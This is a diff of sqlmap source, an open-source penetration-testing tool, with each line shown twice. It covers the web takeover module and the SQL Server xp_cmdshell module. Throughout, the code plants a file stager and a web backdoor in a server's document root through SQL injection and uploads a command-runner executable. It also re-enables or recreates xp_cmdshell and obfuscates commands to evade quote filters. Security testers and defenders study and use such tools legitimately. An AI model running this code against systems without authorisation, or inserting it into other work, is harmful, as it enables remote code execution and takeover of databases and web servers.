page, _, _ = Request.getPage(url=cmdUrl, direct=True, silent=True, timeout=BACKDOOR_RUN_CMD_TIMEOUT) page, _, _ = Request.getPage(url=cmdUrl, direct=True, silent=True, timeout=BACKDOOR_RUN_CMD_TIMEOUT)
if page is not None: if page is not None:
# 从响应中提取命令输出
output = re.search(r"<pre>(.+?)</pre>", page, re.I | re.S) output = re.search(r"<pre>(.+?)</pre>", page, re.I | re.S)
if output: if output:
@ -112,30 +95,18 @@ class Web(object):
return output return output
def webUpload(self, destFileName, directory, stream=None, content=None, filepath=None): def webUpload(self, destFileName, directory, stream=None, content=None, filepath=None):
"""
上传文件到目标服务器
参数:
destFileName: 目标文件名
directory: 目标目录
stream: 文件流对象
content: 文件内容
filepath: 本地文件路径
返回:
上传是否成功
"""
if filepath is not None: if filepath is not None:
if filepath.endswith('_'): if filepath.endswith('_'):
content = decloak(filepath) # 解密混淆文件 content = decloak(filepath) # cloaked file
else: else:
with openFile(filepath, "rb", encoding=None) as f: with openFile(filepath, "rb", encoding=None) as f:
content = f.read() content = f.read()
if content is not None: if content is not None:
stream = io.BytesIO(getBytes(content)) # 将内容转换为字节流 stream = io.BytesIO(getBytes(content)) # string content
# 设置流的长度属性 # Reference: https://github.com/sqlmapproject/sqlmap/issues/3560
# Reference: https://stackoverflow.com/a/4677542
stream.seek(0, os.SEEK_END) stream.seek(0, os.SEEK_END)
stream.len = stream.tell() stream.len = stream.tell()
stream.seek(0, os.SEEK_SET) stream.seek(0, os.SEEK_SET)
@ -143,18 +114,7 @@ class Web(object):
return self._webFileStreamUpload(stream, destFileName, directory) return self._webFileStreamUpload(stream, destFileName, directory)
def _webFileStreamUpload(self, stream, destFileName, directory): def _webFileStreamUpload(self, stream, destFileName, directory):
""" stream.seek(0) # Rewind
通过文件流上传文件的内部方法
参数:
stream: 文件流对象
destFileName: 目标文件名
directory: 目标目录
返回:
上传是否成功
"""
stream.seek(0) # 重置流位置
try: try:
setattr(stream, "name", destFileName) setattr(stream, "name", destFileName)
@ -162,19 +122,16 @@ class Web(object):
pass pass
if self.webPlatform in getPublicTypeMembers(WEB_PLATFORM, True): if self.webPlatform in getPublicTypeMembers(WEB_PLATFORM, True):
# 构造多部分表单数据
multipartParams = { multipartParams = {
"upload": "1", "upload": "1",
"file": stream, "file": stream,
"uploadDir": directory, "uploadDir": directory,
} }
# 对ASP.NET平台添加特殊参数
if self.webPlatform == WEB_PLATFORM.ASPX: if self.webPlatform == WEB_PLATFORM.ASPX:
multipartParams['__EVENTVALIDATION'] = kb.data.__EVENTVALIDATION multipartParams['__EVENTVALIDATION'] = kb.data.__EVENTVALIDATION
multipartParams['__VIEWSTATE'] = kb.data.__VIEWSTATE multipartParams['__VIEWSTATE'] = kb.data.__VIEWSTATE
# 发送上传请求
page, _, _ = Request.getPage(url=self.webStagerUrl, multipart=multipartParams, raise404=False) page, _, _ = Request.getPage(url=self.webStagerUrl, multipart=multipartParams, raise404=False)
if "File uploaded" not in (page or ""): if "File uploaded" not in (page or ""):
@ -189,22 +146,10 @@ class Web(object):
return False return False
def _webFileInject(self, fileContent, fileName, directory): def _webFileInject(self, fileContent, fileName, directory):
"""
通过SQL注入写入文件的内部方法
参数:
fileContent: 文件内容
fileName: 文件名
directory: 目标目录
返回:
注入结果页面
"""
outFile = posixpath.join(ntToPosixSlashes(directory), fileName) outFile = posixpath.join(ntToPosixSlashes(directory), fileName)
uplQuery = getUnicode(fileContent).replace(SHELL_WRITABLE_DIR_TAG, directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory) uplQuery = getUnicode(fileContent).replace(SHELL_WRITABLE_DIR_TAG, directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)
query = "" query = ""
# 根据注入技术构造查询
if isTechniqueAvailable(getTechnique()): if isTechniqueAvailable(getTechnique()):
where = getTechniqueData().where where = getTechniqueData().where
@ -212,9 +157,8 @@ class Web(object):
randInt = randomInt() randInt = randomInt()
query += "OR %d=%d " % (randInt, randInt) query += "OR %d=%d " % (randInt, randInt)
# 构造写文件的SQL语句
query += getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=outFile, HEXSTRING=encodeHex(uplQuery, binary=False)) query += getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=outFile, HEXSTRING=encodeHex(uplQuery, binary=False))
query = agent.prefixQuery(query) query = agent.prefixQuery(query) # Note: No need for suffix as 'write_file_limit' already ends with comment (required)
payload = agent.payload(newValue=query) payload = agent.payload(newValue=query)
page = Request.queryPage(payload) page = Request.queryPage(payload)
@ -222,32 +166,26 @@ class Web(object):
def webInit(self): def webInit(self):
""" """
初始化Web后门 This method is used to write a web backdoor (agent) on a writable
该方法用于在Web服务器的可写目录中写入Web后门(代理) remote directory within the web server document root.
""" """
# 如果已经初始化过,直接返回
if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webPlatform is not None: if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webPlatform is not None:
return return
# 检查数据库和操作系统类型
self.checkDbmsOs() self.checkDbmsOs()
# 确定Web平台类型
default = None default = None
choices = list(getPublicTypeMembers(WEB_PLATFORM, True)) choices = list(getPublicTypeMembers(WEB_PLATFORM, True))
# 根据URL后缀猜测Web平台
for ext in choices: for ext in choices:
if conf.url.endswith(ext): if conf.url.endswith(ext):
default = ext default = ext
break break
# 如果无法猜测,根据操作系统设置默认值
if not default: if not default:
default = WEB_PLATFORM.ASP if Backend.isOs(OS.WINDOWS) else WEB_PLATFORM.PHP default = WEB_PLATFORM.ASP if Backend.isOs(OS.WINDOWS) else WEB_PLATFORM.PHP
# 提示用户选择Web平台
message = "which web application language does the web server " message = "which web application language does the web server "
message += "support?\n" message += "support?\n"
@ -260,7 +198,6 @@ class Web(object):
message = message[:-1] message = message[:-1]
# 获取用户输入的Web平台选择
while True: while True:
choice = readInput(message, default=str(default)) choice = readInput(message, default=str(default))
@ -274,7 +211,6 @@ class Web(object):
self.webPlatform = choices[int(choice) - 1] self.webPlatform = choices[int(choice) - 1]
break break
# 尝试获取完整的文件路径信息
if not kb.absFilePaths: if not kb.absFilePaths:
message = "do you want sqlmap to further try to " message = "do you want sqlmap to further try to "
message += "provoke the full path disclosure? [Y/n] " message += "provoke the full path disclosure? [Y/n] "
@ -283,7 +219,6 @@ class Web(object):
headers = {} headers = {}
been = set([conf.url]) been = set([conf.url])
# 尝试访问WordPress相关路径
for match in re.finditer(r"=['\"]((https?):)?(//[^/'\"]+)?(/[\w/.-]*)\bwp-", kb.originalPage or "", re.I): for match in re.finditer(r"=['\"]((https?):)?(//[^/'\"]+)?(/[\w/.-]*)\bwp-", kb.originalPage or "", re.I):
url = "%s%s" % (conf.url.replace(conf.path, match.group(4)), "wp-content/wp-db.php") url = "%s%s" % (conf.url.replace(conf.path, match.group(4)), "wp-content/wp-db.php")
if url not in been: if url not in been:
@ -295,7 +230,6 @@ class Web(object):
finally: finally:
been.add(url) been.add(url)
# 尝试访问带~的URL
url = re.sub(r"(\.\w+)\Z", r"~\g<1>", conf.url) url = re.sub(r"(\.\w+)\Z", r"~\g<1>", conf.url)
if url not in been: if url not in been:
try: try:
@ -306,7 +240,6 @@ class Web(object):
finally: finally:
been.add(url) been.add(url)
# 尝试不同的参数注入方式
for place in (PLACE.GET, PLACE.POST): for place in (PLACE.GET, PLACE.POST):
if place in conf.parameters: if place in conf.parameters:
value = re.sub(r"(\A|&)(\w+)=", r"\g<2>[]=", conf.parameters[place]) value = re.sub(r"(\A|&)(\w+)=", r"\g<2>[]=", conf.parameters[place])
@ -314,7 +247,6 @@ class Web(object):
page, headers, _ = Request.queryPage(value=value, place=place, content=True, raise404=False, silent=True, noteResponseTime=False) page, headers, _ = Request.queryPage(value=value, place=place, content=True, raise404=False, silent=True, noteResponseTime=False)
parseFilePaths(page) parseFilePaths(page)
# 尝试Cookie注入
cookie = None cookie = None
if PLACE.COOKIE in conf.parameters: if PLACE.COOKIE in conf.parameters:
cookie = conf.parameters[PLACE.COOKIE] cookie = conf.parameters[PLACE.COOKIE]
@ -332,12 +264,10 @@ class Web(object):
page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False) page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
parseFilePaths(page) parseFilePaths(page)
# 获取可能的目标目录列表
directories = list(arrayizeValue(getManualDirectories())) directories = list(arrayizeValue(getManualDirectories()))
directories.extend(getAutoDirectories()) directories.extend(getAutoDirectories())
directories = list(OrderedSet(directories)) directories = list(OrderedSet(directories))
# 处理URL路径
path = _urllib.parse.urlparse(conf.url).path or '/' path = _urllib.parse.urlparse(conf.url).path or '/'
path = re.sub(r"/[^/]*\.\w+\Z", '/', path) path = re.sub(r"/[^/]*\.\w+\Z", '/', path)
if path != '/': if path != '/':
@ -348,39 +278,33 @@ class Web(object):
_.append("%s/%s" % (directory.rstrip('/'), path.strip('/'))) _.append("%s/%s" % (directory.rstrip('/'), path.strip('/')))
directories = _ directories = _
# 生成后门文件名和内容
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webPlatform) backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webPlatform)
backdoorContent = getText(decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.%s_" % self.webPlatform))) backdoorContent = getText(decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.%s_" % self.webPlatform)))
# 获取文件上传器内容
stagerContent = getText(decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webPlatform))) stagerContent = getText(decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webPlatform)))
# 遍历目录尝试上传后门
for directory in directories: for directory in directories:
if not directory: if not directory:
continue continue
# 生成上传器文件名和路径
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webPlatform) stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webPlatform)
self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName) self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)
uploaded = False uploaded = False
directory = ntToPosixSlashes(normalizePath(directory)) directory = ntToPosixSlashes(normalizePath(directory))
# 规范化目录路径
if not isWindowsDriveLetterPath(directory) and not directory.startswith('/'): if not isWindowsDriveLetterPath(directory) and not directory.startswith('/'):
directory = "/%s" % directory directory = "/%s" % directory
if not directory.endswith('/'): if not directory.endswith('/'):
directory += '/' directory += '/'
# 尝试通过LIMIT方法上传文件上传器 # Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE method
infoMsg = "trying to upload the file stager on '%s' " % directory infoMsg = "trying to upload the file stager on '%s' " % directory
infoMsg += "via LIMIT 'LINES TERMINATED BY' method" infoMsg += "via LIMIT 'LINES TERMINATED BY' method"
logger.info(infoMsg) logger.info(infoMsg)
self._webFileInject(stagerContent, stagerName, directory) self._webFileInject(stagerContent, stagerName, directory)
# 检查上传器是否可访问
for match in re.finditer('/', directory): for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/')) self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
self.webStagerUrl = _urllib.parse.urljoin(self.webBaseUrl, stagerName) self.webStagerUrl = _urllib.parse.urljoin(self.webBaseUrl, stagerName)
@ -394,7 +318,7 @@ class Web(object):
uploaded = True uploaded = True
break break
# 如果LIMIT方法失败,尝试使用UNION查询方法 # Fall-back to UNION queries file upload method
if not uploaded: if not uploaded:
warnMsg = "unable to upload the file stager " warnMsg = "unable to upload the file stager "
warnMsg += "on '%s'" % directory warnMsg += "on '%s'" % directory
@ -408,20 +332,16 @@ class Web(object):
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webPlatform) stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webPlatform)
self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName) self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)
# 创建临时文件
handle, filename = tempfile.mkstemp() handle, filename = tempfile.mkstemp()
os.close(handle) os.close(handle)
# 写入上传器内容
with openFile(filename, "w+b") as f: with openFile(filename, "w+b") as f:
_ = getText(decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webPlatform))) _ = getText(decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webPlatform)))
_ = _.replace(SHELL_WRITABLE_DIR_TAG, directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory) _ = _.replace(SHELL_WRITABLE_DIR_TAG, directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)
f.write(_) f.write(_)
# 通过UNION查询上传文件
self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True) self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True)
# 检查上传器是否可访问
for match in re.finditer('/', directory): for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/')) self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
self.webStagerUrl = _urllib.parse.urljoin(self.webBaseUrl, stagerName) self.webStagerUrl = _urllib.parse.urljoin(self.webBaseUrl, stagerName)
@ -439,14 +359,12 @@ class Web(object):
if not uploaded: if not uploaded:
continue continue
# 检查上传器是否被正确解释执行
if "<%" in uplPage or "<?" in uplPage: if "<%" in uplPage or "<?" in uplPage:
warnMsg = "file stager uploaded on '%s', " % directory warnMsg = "file stager uploaded on '%s', " % directory
warnMsg += "but not dynamically interpreted" warnMsg += "but not dynamically interpreted"
logger.warning(warnMsg) logger.warning(warnMsg)
continue continue
# 处理ASP.NET特殊参数
elif self.webPlatform == WEB_PLATFORM.ASPX: elif self.webPlatform == WEB_PLATFORM.ASPX:
kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage) kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage)
kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage) kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage)
@ -455,7 +373,6 @@ class Web(object):
infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl) infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl)
logger.info(infoMsg) logger.info(infoMsg)
# 处理ASP平台特殊情况
if self.webPlatform == WEB_PLATFORM.ASP: if self.webPlatform == WEB_PLATFORM.ASP:
match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage) match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)
@ -464,7 +381,6 @@ class Web(object):
else: else:
continue continue
# 上传后门和命令执行组件
_ = "tmpe%s.exe" % randomStr(lowercase=True) _ = "tmpe%s.exe" % randomStr(lowercase=True)
if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace(SHELL_WRITABLE_DIR_TAG, backdoorDirectory).replace(SHELL_RUNCMD_EXE_TAG, _)): if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace(SHELL_WRITABLE_DIR_TAG, backdoorDirectory).replace(SHELL_RUNCMD_EXE_TAG, _)):
self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_EXTRAS_PATH, "runcmd", "runcmd.exe_")) self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_EXTRAS_PATH, "runcmd", "runcmd.exe_"))
@ -474,7 +390,6 @@ class Web(object):
continue continue
else: else:
# 上传后门文件
if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent): if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent):
warnMsg = "backdoor has not been successfully uploaded " warnMsg = "backdoor has not been successfully uploaded "
warnMsg += "through the file stager possibly because " warnMsg += "through the file stager possibly because "
@ -486,7 +401,6 @@ class Web(object):
warnMsg += "different servers" warnMsg += "different servers"
logger.warning(warnMsg) logger.warning(warnMsg)
# 询问是否使用相同方法重试
message = "do you want to try the same method used " message = "do you want to try the same method used "
message += "for the file stager? [Y/n] " message += "for the file stager? [Y/n] "
@ -500,7 +414,6 @@ class Web(object):
self.webBackdoorFilePath = posixpath.join(ntToPosixSlashes(directory), backdoorName) self.webBackdoorFilePath = posixpath.join(ntToPosixSlashes(directory), backdoorName)
# 测试后门是否可用
testStr = "command execution test" testStr = "command execution test"
output = self.webBackdoorRunCmd("echo %s" % testStr) output = self.webBackdoorRunCmd("echo %s" % testStr)

@ -5,109 +5,76 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
# 导入所需的模块和函数 from lib.core.agent import agent
from lib.core.agent import agent # 导入agent模块,用于执行SQL命令 from lib.core.common import Backend
from lib.core.common import Backend # 导入Backend模块,用于获取数据库后端信息 from lib.core.common import flattenValue
from lib.core.common import flattenValue # 导入flattenValue函数,用于将嵌套列表展平成一维列表 from lib.core.common import getLimitRange
from lib.core.common import getLimitRange # 导入getLimitRange函数,用于获取分页查询的范围 from lib.core.common import getSQLSnippet
from lib.core.common import getSQLSnippet # 导入getSQLSnippet函数,用于获取预定义的SQL代码片段 from lib.core.common import hashDBWrite
from lib.core.common import hashDBWrite # 导入hashDBWrite函数,用于将数据写入哈希数据库 from lib.core.common import isListLike
from lib.core.common import isListLike # 导入isListLike函数,用于判断对象是否类似列表 from lib.core.common import isNoneValue
from lib.core.common import isNoneValue # 导入isNoneValue函数,用于判断值是否为None from lib.core.common import isNumPosStrValue
from lib.core.common import isNumPosStrValue # 导入isNumPosStrValue函数,用于判断字符串是否为正数 from lib.core.common import isTechniqueAvailable
from lib.core.common import isTechniqueAvailable # 导入isTechniqueAvailable函数,用于检查SQL注入技术是否可用 from lib.core.common import popValue
from lib.core.common import popValue # 导入popValue函数,用于从栈中弹出值 from lib.core.common import pushValue
from lib.core.common import pushValue # 导入pushValue函数,用于将值压入栈 from lib.core.common import randomStr
from lib.core.common import randomStr # 导入randomStr函数,用于生成随机字符串 from lib.core.common import readInput
from lib.core.common import readInput # 导入readInput函数,用于读取用户输入 from lib.core.common import wasLastResponseDelayed
from lib.core.common import wasLastResponseDelayed # 导入wasLastResponseDelayed函数,用于检查上次响应是否有延迟 from lib.core.compat import xrange
from lib.core.compat import xrange # 导入xrange函数,用于兼容Python2和3的range函数 from lib.core.convert import encodeHex
from lib.core.convert import encodeHex # 导入encodeHex函数,用于十六进制编码 from lib.core.data import conf
from lib.core.data import conf # 导入conf模块,用于访问全局配置 from lib.core.data import kb
from lib.core.data import kb # 导入kb模块,用于访问知识库 from lib.core.data import logger
from lib.core.data import logger # 导入logger模块,用于日志记录 from lib.core.decorators import stackedmethod
from lib.core.decorators import stackedmethod # 导入stackedmethod装饰器,用于堆叠查询方法 from lib.core.enums import CHARSET_TYPE
from lib.core.enums import CHARSET_TYPE # 导入CHARSET_TYPE枚举,定义字符集类型 from lib.core.enums import DBMS
from lib.core.enums import DBMS # 导入DBMS枚举,定义数据库类型 from lib.core.enums import EXPECTED
from lib.core.enums import EXPECTED # 导入EXPECTED枚举,定义期望的返回类型 from lib.core.enums import HASHDB_KEYS
from lib.core.enums import HASHDB_KEYS # 导入HASHDB_KEYS枚举,定义哈希数据库的键 from lib.core.enums import PAYLOAD
from lib.core.enums import PAYLOAD # 导入PAYLOAD枚举,定义SQL注入的载荷类型 from lib.core.exception import SqlmapUnsupportedFeatureException
from lib.core.exception import SqlmapUnsupportedFeatureException # 导入异常类,用于不支持的功能 from lib.core.threads import getCurrentThreadData
from lib.core.threads import getCurrentThreadData # 导入getCurrentThreadData函数,用于获取当前线程数据 from lib.request import inject
from lib.request import inject # 导入inject模块,用于执行SQL注入
class XP_cmdshell(object): class XP_cmdshell(object):
""" """
这个类用于处理Microsoft SQL Server的xp_cmdshell扩展存储过程 This class defines methods to deal with Microsoft SQL Server
xp_cmdshell是SQL Server提供的一个系统存储过程,可以执行操作系统命令 xp_cmdshell extended procedure for plugins.
该类提供了创建配置测试和执行xp_cmdshell的各种方法
""" """
def __init__(self): def __init__(self):
""" self.xpCmdshellStr = "master..xp_cmdshell"
初始化XP_cmdshell类的实例
设置xp_cmdshell存储过程的默认名称为master..xp_cmdshell
"""
self.xpCmdshellStr = "master..xp_cmdshell" # 设置默认的xp_cmdshell存储过程名称
def _xpCmdshellCreate(self): def _xpCmdshellCreate(self):
"""
创建新的xp_cmdshell存储过程
当原始的xp_cmdshell被禁用时,可以创建一个新的具有相同功能的存储过程
主要步骤:
1. 对于非SQL Server 2000版本,需要先激活sp_OACreate
2. 生成随机字符串作为新存储过程名称的一部分
3. 执行创建存储过程的SQL命令
"""
cmd = "" cmd = ""
# 如果不是SQL Server 2000版本,需要先激活sp_OACreate
if not Backend.isVersionWithin(("2000",)): if not Backend.isVersionWithin(("2000",)):
logger.debug("激活sp_OACreate") logger.debug("activating sp_OACreate")
# 获取激活sp_OACreate的SQL代码片段
cmd = getSQLSnippet(DBMS.MSSQL, "activate_sp_oacreate") cmd = getSQLSnippet(DBMS.MSSQL, "activate_sp_oacreate")
inject.goStacked(agent.runAsDBMSUser(cmd)) inject.goStacked(agent.runAsDBMSUser(cmd))
# 生成随机字符串作为新存储过程的一部分 self._randStr = randomStr(lowercase=True)
self._randStr = randomStr(lowercase=True) # 生成小写随机字符串 self.xpCmdshellStr = "master..new_xp_cmdshell"
self.xpCmdshellStr = "master..new_xp_cmdshell" # 设置新的存储过程名称
# 获取创建新xp_cmdshell的SQL代码片段
cmd = getSQLSnippet(DBMS.MSSQL, "create_new_xp_cmdshell", RANDSTR=self._randStr) cmd = getSQLSnippet(DBMS.MSSQL, "create_new_xp_cmdshell", RANDSTR=self._randStr)
# 如果不是SQL Server 2000,需要重新配置
if not Backend.isVersionWithin(("2000",)): if not Backend.isVersionWithin(("2000",)):
cmd += ";RECONFIGURE WITH OVERRIDE" cmd += ";RECONFIGURE WITH OVERRIDE"
inject.goStacked(agent.runAsDBMSUser(cmd)) # 执行创建命令 inject.goStacked(agent.runAsDBMSUser(cmd))
def _xpCmdshellConfigure2005(self, mode): def _xpCmdshellConfigure2005(self, mode):
""" debugMsg = "configuring xp_cmdshell using sp_configure "
配置SQL Server 2005及更高版本的xp_cmdshell debugMsg += "stored procedure"
参数:
mode: 整数,1表示启用xp_cmdshell,0表示禁用
返回:
str: 配置xp_cmdshell的SQL命令
"""
debugMsg = "使用sp_configure存储过程配置xp_cmdshell"
logger.debug(debugMsg) logger.debug(debugMsg)
cmd = getSQLSnippet(DBMS.MSSQL, "configure_xp_cmdshell", ENABLE=str(mode)) cmd = getSQLSnippet(DBMS.MSSQL, "configure_xp_cmdshell", ENABLE=str(mode))
return cmd return cmd
def _xpCmdshellConfigure2000(self, mode): def _xpCmdshellConfigure2000(self, mode):
""" debugMsg = "configuring xp_cmdshell using sp_addextendedproc "
配置SQL Server 2000版本的xp_cmdshell debugMsg += "stored procedure"
参数:
mode: 整数,1表示启用xp_cmdshell,0表示禁用
返回:
str: 配置xp_cmdshell的SQL命令
"""
debugMsg = "使用sp_addextendedproc存储过程配置xp_cmdshell"
logger.debug(debugMsg) logger.debug(debugMsg)
if mode == 1: if mode == 1:
@ -118,97 +85,68 @@ class XP_cmdshell(object):
return cmd return cmd
def _xpCmdshellConfigure(self, mode): def _xpCmdshellConfigure(self, mode):
"""
根据SQL Server版本配置xp_cmdshell
会自动判断SQL Server版本并调用相应的配置方法
参数:
mode: 整数,1表示启用xp_cmdshell,0表示禁用
"""
if Backend.isVersionWithin(("2000",)): if Backend.isVersionWithin(("2000",)):
cmd = self._xpCmdshellConfigure2000(mode) # SQL Server 2000版本 cmd = self._xpCmdshellConfigure2000(mode)
else: else:
cmd = self._xpCmdshellConfigure2005(mode) # SQL Server 2005及以上版本 cmd = self._xpCmdshellConfigure2005(mode)
inject.goStacked(agent.runAsDBMSUser(cmd)) # 执行配置命令 inject.goStacked(agent.runAsDBMSUser(cmd))
def _xpCmdshellCheck(self): def _xpCmdshellCheck(self):
"""
检查xp_cmdshell是否可用
通过执行ping命令并检查响应延迟来测试xp_cmdshell的可用性
返回:
bool: True表示xp_cmdshell可用,False表示不可用
"""
# 使用ping命令测试,延迟时间为配置的时间的2倍
cmd = "ping -n %d 127.0.0.1" % (conf.timeSec * 2) cmd = "ping -n %d 127.0.0.1" % (conf.timeSec * 2)
self.xpCmdshellExecCmd(cmd) self.xpCmdshellExecCmd(cmd)
return wasLastResponseDelayed() # 返回是否发生了预期的延迟 return wasLastResponseDelayed()
@stackedmethod @stackedmethod
def _xpCmdshellTest(self): def _xpCmdshellTest(self):
"""
测试xp_cmdshell的功能是否正常
通过执行简单的echo命令来验证xp_cmdshell是否能正常工作
同时检查是否有权限写入临时目录
"""
threadData = getCurrentThreadData() threadData = getCurrentThreadData()
pushValue(threadData.disableStdOut) pushValue(threadData.disableStdOut)
threadData.disableStdOut = True threadData.disableStdOut = True
logger.info("测试xp_cmdshell扩展存储过程是否可用") logger.info("testing if xp_cmdshell extended procedure is usable")
output = self.xpCmdshellEvalCmd("echo 1") # 执行测试命令 output = self.xpCmdshellEvalCmd("echo 1")
if output == "1": if output == "1":
logger.info("xp_cmdshell扩展存储过程可用") logger.info("xp_cmdshell extended procedure is usable")
elif isNoneValue(output) and conf.dbmsCred: elif isNoneValue(output) and conf.dbmsCred:
errMsg = "似乎后端文件系统中用于存储控制台输出的临时目录('%s')" % self.getRemoteTempPath() errMsg = "it seems that the temporary directory ('%s') used for " % self.getRemoteTempPath()
errMsg += "对DBMS进程没有写入权限。" errMsg += "storing console output within the back-end file system "
errMsg += "建议您使用'--tmp-path'选项手动调整," errMsg += "does not have writing permissions for the DBMS process. "
errMsg += "否则将无法获取命令输出" errMsg += "You are advised to manually adjust it with option "
errMsg += "'--tmp-path' or you won't be able to retrieve "
errMsg += "the command(s) output"
logger.error(errMsg) logger.error(errMsg)
elif isNoneValue(output): elif isNoneValue(output):
logger.error("无法获取xp_cmdshell输出") logger.error("unable to retrieve xp_cmdshell output")
else: else:
logger.info("xp_cmdshell扩展存储过程可用") logger.info("xp_cmdshell extended procedure is usable")
threadData.disableStdOut = popValue() threadData.disableStdOut = popValue()
def xpCmdshellWriteFile(self, fileContent, tmpPath, randDestFile): def xpCmdshellWriteFile(self, fileContent, tmpPath, randDestFile):
""" echoedLines = []
使用xp_cmdshell写入文件 cmd = ""
通过echo命令将内容写入指定的文件 charCounter = 0
maxLen = 512
参数:
fileContent: 要写入的文件内容
tmpPath: 临时文件路径
randDestFile: 随机生成的目标文件名
"""
echoedLines = [] # 存储echo命令行
cmd = "" # 最终要执行的命令
charCounter = 0 # 字符计数器
maxLen = 512 # 单条命令最大长度
# 处理文件内容,转换为行列表
if isinstance(fileContent, (set, list, tuple)): if isinstance(fileContent, (set, list, tuple)):
lines = fileContent lines = fileContent
else: else:
lines = fileContent.split("\n") lines = fileContent.split("\n")
# 为每行内容创建echo命令
for line in lines: for line in lines:
echoedLine = "echo %s " % line echoedLine = "echo %s " % line
echoedLine += ">> \"%s\\%s\"" % (tmpPath, randDestFile) echoedLine += ">> \"%s\\%s\"" % (tmpPath, randDestFile)
echoedLines.append(echoedLine) echoedLines.append(echoedLine)
# 分批执行命令以避免命令过长
for echoedLine in echoedLines: for echoedLine in echoedLines:
cmd += "%s & " % echoedLine cmd += "%s & " % echoedLine
charCounter += len(echoedLine) charCounter += len(echoedLine)
if charCounter >= maxLen: if charCounter >= maxLen:
self.xpCmdshellExecCmd(cmd.rstrip(" & ")) self.xpCmdshellExecCmd(cmd.rstrip(" & "))
cmd = "" cmd = ""
charCounter = 0 charCounter = 0
@ -216,23 +154,17 @@ class XP_cmdshell(object):
self.xpCmdshellExecCmd(cmd.rstrip(" & ")) self.xpCmdshellExecCmd(cmd.rstrip(" & "))
def xpCmdshellForgeCmd(self, cmd, insertIntoTable=None): def xpCmdshellForgeCmd(self, cmd, insertIntoTable=None):
""" # When user provides DBMS credentials (with --dbms-cred) we need to
构造xp_cmdshell命令 # redirect the command standard output to a temporary file in order
将要执行的命令封装成SQL语句 # to retrieve it afterwards
# NOTE: this does not need to be done when the command is 'del' to
参数: # delete the temporary file
cmd: 要执行的命令
insertIntoTable: 存储结果的表名
返回:
str: 构造好的SQL命令
"""
# 当用户提供DBMS凭据时,需要将命令输出重定向到临时文件
if conf.dbmsCred and insertIntoTable: if conf.dbmsCred and insertIntoTable:
self.tmpFile = "%s/tmpc%s.txt" % (conf.tmpPath, randomStr(lowercase=True)) self.tmpFile = "%s/tmpc%s.txt" % (conf.tmpPath, randomStr(lowercase=True))
cmd = "%s > \"%s\"" % (cmd, self.tmpFile) cmd = "%s > \"%s\"" % (cmd, self.tmpFile)
# 混淆要执行的命令,也可用于绕过单引号过滤 # Obfuscate the command to execute, also useful to bypass filters
# on single-quotes
self._randStr = randomStr(lowercase=True) self._randStr = randomStr(lowercase=True)
self._forgedCmd = "DECLARE @%s VARCHAR(8000);" % self._randStr self._forgedCmd = "DECLARE @%s VARCHAR(8000);" % self._randStr
@ -241,7 +173,11 @@ class XP_cmdshell(object):
except UnicodeError: except UnicodeError:
self._forgedCmd += "SET @%s='%s';" % (self._randStr, cmd) self._forgedCmd += "SET @%s='%s';" % (self._randStr, cmd)
